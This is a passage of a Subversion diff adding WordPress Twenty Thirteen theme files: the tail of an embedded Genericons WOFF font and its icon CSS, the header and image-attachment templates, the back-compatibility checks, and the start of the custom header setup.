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) format('woff'),
+         url('font/genericons-regular-webfont.ttf') format('truetype'),
+         url('font/genericons-regular-webfont.svg#genericonsregular') format('svg');
+    font-weight: normal;
+    font-style: normal;
+}
+
+
+/**
+ * All Genericons
+ */
+
+.genericon {
+	display: inline-block;
+	width: 16px;
+	height: 16px;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	font-size: 16px;
+	line-height: 1;
+	font-family: 'Genericons';
+	text-decoration: inherit;
+	font-weight: normal;
+	font-style: normal;
+	vertical-align: top;
+}
+
+/**
+ * IE7 and IE6 hacks
+ */
+
+.genericon {
+	*overflow: auto;
+	*zoom: 1;
+	*display: inline;
+}
+
+/**
+ * Individual icons
+ */
+
+/* Post formats */
+.genericon-standard:before {        content: '\f100'; }
+.genericon-aside:before {           content: '\f101'; }
+.genericon-image:before {           content: '\f102'; }
+.genericon-gallery:before {         content: '\f103'; }
+.genericon-video:before {           content: '\f104'; }
+.genericon-status:before {          content: '\f105'; }
+.genericon-quote:before {           content: '\f106'; }
+.genericon-link:before {            content: '\f107'; }
+.genericon-chat:before {            content: '\f108'; }
+.genericon-audio:before {           content: '\f109'; }
+
+/* Social icons */
+.genericon-github:before {          content: '\f200'; }
+.genericon-dribbble:before {        content: '\f201'; }
+.genericon-twitter:before {         content: '\f202'; }
+.genericon-facebook:before {        content: '\f203'; }
+.genericon-facebook-alt:before {    content: '\f204'; }
+.genericon-wordpress:before {       content: '\f205'; }
+.genericon-googleplus:before {      content: '\f206'; }
+.genericon-linkedin:before {        content: '\f207'; }
+.genericon-linkedin-alt:before {    content: '\f208'; }
+.genericon-pinterest:before {       content: '\f209'; }
+.genericon-pinterest-alt:before {   content: '\f210'; }
+.genericon-flickr:before {          content: '\f211'; }
+.genericon-vimeo:before {           content: '\f212'; }
+.genericon-youtube:before {         content: '\f213'; }
+.genericon-tumblr:before {          content: '\f214'; }
+.genericon-instagram:before {       content: '\f215'; }
+.genericon-codepen:before {         content: '\f216'; }
+.genericon-polldaddy:before {       content: '\f217'; }
+.genericon-googleplus-alt:before {  content: '\f218'; }
+.genericon-path:before {            content: '\f219'; }
+.genericon-skype:before {           content: '\f220'; }
+.genericon-digg:before {            content: '\f221'; }
+.genericon-reddit:before {          content: '\f222'; }
+.genericon-stumbleupon:before {     content: '\f223'; }
+.genericon-pocket:before {          content: '\f224'; }
+.genericon-dropbox:before {         content: '\f225'; }
+
+/* Meta icons */
+.genericon-comment:before {         content: '\f300'; }
+.genericon-category:before {        content: '\f301'; }
+.genericon-tag:before {             content: '\f302'; }
+.genericon-time:before {            content: '\f303'; }
+.genericon-user:before {            content: '\f304'; }
+.genericon-day:before {             content: '\f305'; }
+.genericon-week:before {            content: '\f306'; }
+.genericon-month:before {           content: '\f307'; }
+.genericon-pinned:before {          content: '\f308'; }
+
+/* Other icons */
+.genericon-search:before {          content: '\f400'; }
+.genericon-unzoom:before {          content: '\f401'; }
+.genericon-zoom:before {            content: '\f402'; }
+.genericon-show:before {            content: '\f403'; }
+.genericon-hide:before {            content: '\f404'; }
+.genericon-close:before {           content: '\f405'; }
+.genericon-close-alt:before {       content: '\f406'; }
+.genericon-trash:before {           content: '\f407'; }
+.genericon-star:before {            content: '\f408'; }
+.genericon-home:before {            content: '\f409'; }
+.genericon-mail:before {            content: '\f410'; }
+.genericon-edit:before {            content: '\f411'; }
+.genericon-reply:before {           content: '\f412'; }
+.genericon-feed:before {            content: '\f413'; }
+.genericon-warning:before {         content: '\f414'; }
+.genericon-share:before {           content: '\f415'; }
+.genericon-attachment:before {      content: '\f416'; }
+.genericon-location:before {        content: '\f417'; }
+.genericon-checkmark:before {       content: '\f418'; }
+.genericon-menu:before {            content: '\f419'; }
+.genericon-refresh:before {         content: '\f420'; }
+.genericon-minimize:before {        content: '\f421'; }
+.genericon-maximize:before {        content: '\f422'; }
+.genericon-404:before {             content: '\f423'; }
+.genericon-spam:before {            content: '\f424'; }
+.genericon-summary:before {         content: '\f425'; }
+.genericon-cloud:before {           content: '\f426'; }
+.genericon-key:before {             content: '\f427'; }
+.genericon-dot:before {             content: '\f428'; }
+.genericon-next:before {            content: '\f429'; }
+.genericon-previous:before {        content: '\f430'; }
+.genericon-expand:before {          content: '\f431'; }
+.genericon-collapse:before {        content: '\f432'; }
+.genericon-dropdown:before {        content: '\f433'; }
+.genericon-dropdown-left:before {   content: '\f434'; }
+.genericon-top:before {             content: '\f435'; }
+.genericon-draggable:before {       content: '\f436'; }
+.genericon-phone:before {           content: '\f437'; }
+.genericon-send-to-phone:before {   content: '\f438'; }
+.genericon-plugin:before {          content: '\f439'; }
+.genericon-cloud-download:before {  content: '\f440'; }
+.genericon-cloud-upload:before {    content: '\f441'; }
+.genericon-external:before {        content: '\f442'; }
+.genericon-document:before {        content: '\f443'; }
+.genericon-book:before {            content: '\f444'; }
+.genericon-cog:before {             content: '\f445'; }
+.genericon-unapprove:before {       content: '\f446'; }
+.genericon-cart:before {            content: '\f447'; }
+.genericon-pause:before {           content: '\f448'; }
+.genericon-stop:before {            content: '\f449'; }
+.genericon-skip-back:before {       content: '\f450'; }
+.genericon-skip-ahead:before {      content: '\f451'; }
+.genericon-play:before {            content: '\f452'; }
+.genericon-tablet:before {          content: '\f453'; }
+.genericon-send-to-tablet:before {  content: '\f454'; }
+.genericon-info:before {            content: '\f455'; }
+.genericon-notice:before {          content: '\f456'; }
+.genericon-help:before {            content: '\f457'; }
+.genericon-fastforward:before {     content: '\f458'; }
+.genericon-rewind:before {          content: '\f459'; }
+.genericon-portfolio:before {       content: '\f460'; }
+.genericon-heart:before {           content: '\f461'; }
+.genericon-code:before {            content: '\f462'; }
+.genericon-subscribe:before {       content: '\f463'; }
+.genericon-unsubscribe:before {     content: '\f464'; }
+.genericon-subscribed:before {      content: '\f465'; }
+.genericon-reply-alt:before {       content: '\f466'; }
+.genericon-reply-single:before {    content: '\f467'; }
+.genericon-flag:before {            content: '\f468'; }
+.genericon-print:before {           content: '\f469'; }
+.genericon-lock:before {            content: '\f470'; }
+.genericon-bold:before {            content: '\f471'; }
+.genericon-italic:before {          content: '\f472'; }
+.genericon-picture:before {         content: '\f473'; }
+.genericon-fullscreen:before {      content: '\f474'; }
+
+/* Generic shapes */
+.genericon-uparrow:before {         content: '\f500'; }
+.genericon-rightarrow:before {      content: '\f501'; }
+.genericon-downarrow:before {       content: '\f502'; }
+.genericon-leftarrow:before {       content: '\f503'; }
+
+
+
+
+
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/header.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/header.php	(revision 33402)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * The Header template for our theme
+ *
+ * Displays all of the <head> section and everything up till <div id="main">
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+?><!DOCTYPE html>
+<!--[if IE 7]>
+<html class="ie ie7" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if IE 8]>
+<html class="ie ie8" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if !(IE 7) & !(IE 8)]><!-->
+<html <?php language_attributes(); ?>>
+<!--<![endif]-->
+<head>
+	<meta charset="<?php bloginfo( 'charset' ); ?>">
+	<meta name="viewport" content="width=device-width">
+	<title><?php wp_title( '|', true, 'right' ); ?></title>
+	<link rel="profile" href="http://gmpg.org/xfn/11">
+	<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
+	<!--[if lt IE 9]>
+	<script src="<?php echo get_template_directory_uri(); ?>/js/html5.js"></script>
+	<![endif]-->
+	<?php wp_head(); ?>
+</head>
+
+<body <?php body_class(); ?>>
+	<div id="page" class="hfeed site">
+		<header id="masthead" class="site-header" role="banner">
+			<a class="home-link" href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home">
+				<h1 class="site-title"><?php bloginfo( 'name' ); ?></h1>
+				<h2 class="site-description"><?php bloginfo( 'description' ); ?></h2>
+			</a>
+
+			<div id="navbar" class="navbar">
+				<nav id="site-navigation" class="navigation main-navigation" role="navigation">
+					<button class="menu-toggle"><?php _e( 'Menu', 'twentythirteen' ); ?></button>
+					<a class="screen-reader-text skip-link" href="#content" title="<?php esc_attr_e( 'Skip to content', 'twentythirteen' ); ?>"><?php _e( 'Skip to content', 'twentythirteen' ); ?></a>
+					<?php wp_nav_menu( array( 'theme_location' => 'primary', 'menu_class' => 'nav-menu' ) ); ?>
+					<?php get_search_form(); ?>
+				</nav><!-- #site-navigation -->
+			</div><!-- #navbar -->
+		</header><!-- #masthead -->
+
+		<div id="main" class="site-main">
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/image.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/image.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/image.php	(revision 33402)
@@ -0,0 +1,82 @@
+<?php
+/**
+ * The template for displaying image attachments
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+			<article id="post-<?php the_ID(); ?>" <?php post_class( 'image-attachment' ); ?>>
+				<header class="entry-header">
+					<h1 class="entry-title"><?php the_title(); ?></h1>
+
+					<div class="entry-meta">
+						<?php
+							$published_text = __( '<span class="attachment-meta">Published on <time class="entry-date" datetime="%1$s">%2$s</time> in <a href="%3$s" title="Return to %4$s" rel="gallery">%5$s</a></span>', 'twentythirteen' );
+							$post_title = get_the_title( $post->post_parent );
+							if ( empty( $post_title ) || 0 == $post->post_parent )
+								$published_text = '<span class="attachment-meta"><time class="entry-date" datetime="%1$s">%2$s</time></span>';
+
+							printf( $published_text,
+								esc_attr( get_the_date( 'c' ) ),
+								esc_html( get_the_date() ),
+								esc_url( get_permalink( $post->post_parent ) ),
+								esc_attr( strip_tags( $post_title ) ),
+								$post_title
+							);
+
+							$metadata = wp_get_attachment_metadata();
+							printf( '<span class="attachment-meta full-size-link"><a href="%1$s" title="%2$s">%3$s (%4$s &times; %5$s)</a></span>',
+								esc_url( wp_get_attachment_url() ),
+								esc_attr__( 'Link to full-size image', 'twentythirteen' ),
+								__( 'Full resolution', 'twentythirteen' ),
+								$metadata['width'],
+								$metadata['height']
+							);
+
+							edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' );
+						?>
+					</div><!-- .entry-meta -->
+				</header><!-- .entry-header -->
+
+				<div class="entry-content">
+					<nav id="image-navigation" class="navigation image-navigation" role="navigation">
+						<span class="nav-previous"><?php previous_image_link( false, __( '<span class="meta-nav">&larr;</span> Previous', 'twentythirteen' ) ); ?></span>
+						<span class="nav-next"><?php next_image_link( false, __( 'Next <span class="meta-nav">&rarr;</span>', 'twentythirteen' ) ); ?></span>
+					</nav><!-- #image-navigation -->
+
+					<div class="entry-attachment">
+						<div class="attachment">
+							<?php twentythirteen_the_attached_image(); ?>
+
+							<?php if ( has_excerpt() ) : ?>
+							<div class="entry-caption">
+								<?php the_excerpt(); ?>
+							</div>
+							<?php endif; ?>
+						</div><!-- .attachment -->
+					</div><!-- .entry-attachment -->
+
+					<?php if ( ! empty( $post->post_content ) ) : ?>
+					<div class="entry-description">
+						<?php the_content(); ?>
+						<?php wp_link_pages( array( 'before' => '<div class="page-links">' . __( 'Pages:', 'twentythirteen' ), 'after' => '</div>' ) ); ?>
+					</div><!-- .entry-description -->
+					<?php endif; ?>
+
+				</div><!-- .entry-content -->
+			</article><!-- #post -->
+
+			<?php comments_template(); ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/inc/back-compat.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/inc/back-compat.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/inc/back-compat.php	(revision 33402)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * Twenty Thirteen back compat functionality
+ *
+ * Prevents Twenty Thirteen from running on WordPress versions prior to 3.6,
+ * since this theme is not meant to be backward compatible and relies on
+ * many new functions and markup changes introduced in 3.6.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+/**
+ * Prevent switching to Twenty Thirteen on old versions of WordPress.
+ *
+ * Switches to the default theme.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_switch_theme() {
+	switch_theme( WP_DEFAULT_THEME, WP_DEFAULT_THEME );
+	unset( $_GET['activated'] );
+	add_action( 'admin_notices', 'twentythirteen_upgrade_notice' );
+}
+add_action( 'after_switch_theme', 'twentythirteen_switch_theme' );
+
+/**
+ * Add message for unsuccessful theme switch.
+ *
+ * Prints an update nag after an unsuccessful attempt to switch to
+ * Twenty Thirteen on WordPress versions prior to 3.6.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_upgrade_notice() {
+	$message = sprintf( __( 'Twenty Thirteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again.', 'twentythirteen' ), $GLOBALS['wp_version'] );
+	printf( '<div class="error"><p>%s</p></div>', $message );
+}
+
+/**
+ * Prevent the Customizer from being loaded on WordPress versions prior to 3.6.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_customize() {
+	wp_die( sprintf( __( 'Twenty Thirteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again.', 'twentythirteen' ), $GLOBALS['wp_version'] ), '', array(
+		'back_link' => true,
+	) );
+}
+add_action( 'load-customize.php', 'twentythirteen_customize' );
+
+/**
+ * Prevent the Theme Preview from being loaded on WordPress versions prior to 3.4.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_preview() {
+	if ( isset( $_GET['preview'] ) ) {
+		wp_die( sprintf( __( 'Twenty Thirteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again.', 'twentythirteen' ), $GLOBALS['wp_version'] ) );
+	}
+}
+add_action( 'template_redirect', 'twentythirteen_preview' );
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/inc/custom-header.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/inc/custom-header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/inc/custom-header.php	(revision 33402)
@@ -0,0 +1,227 @@
+<?php
+/**
+ * Implement a custom header for Twenty Thirteen
+ *
+ * @link http://codex.wordpress.org/Custom_Headers
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+/**
+ * Set up the WordPress core custom header arguments and settings.
+ *
+ * @uses add_theme_support() to register support for 3.4 and up.
+ * @uses twentythirteen_header_style() to style front-end.
+ * @uses twentythirteen_admin_header_style() to style wp-admin form.
+ * @uses twentythirteen_admin_header_image() to add custom markup to wp-admin form.
+ * @uses register_default_headers() to set up the bundled header images.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_custom_header_setup() {
+	$args = array(
+		// Text color and image (empty to use none).
+		'default-text-color'     => '220e10',
+		'default-image'          => '%s/images/headers/circle.png',
+
+		// Set height and width, with a maximum value for the width.
+		'height'                 => 230,
+		'width'                  => 1600,
+
+		// Callbacks for styling the header and the admin preview.
+		'wp-head-callback'       => 'twentythirteen_header_style',
+		'admin-head-callback'    => 'twentythirteen_admin_header_style',
+		'admin-preview-callback' => 'twentythirteen_admin_header_image',
+	);
+
+	add_theme_support( 'custom-header', $args );
+
+	/*
+	 * Default custom headers packaged with the theme.
+	 * %s is a placeholder for the theme template directory URI.
+	 */
+	register_default_headers( array(
+		'circle' => array(
+			'url'           => '%s/images/headers/circle.png',
+			'thumbnail_url' => '%s/images/headers/circle-thumbnail.png',
+			'description'   => _x( 'Circle', 'header image description', 'twentythirteen' )
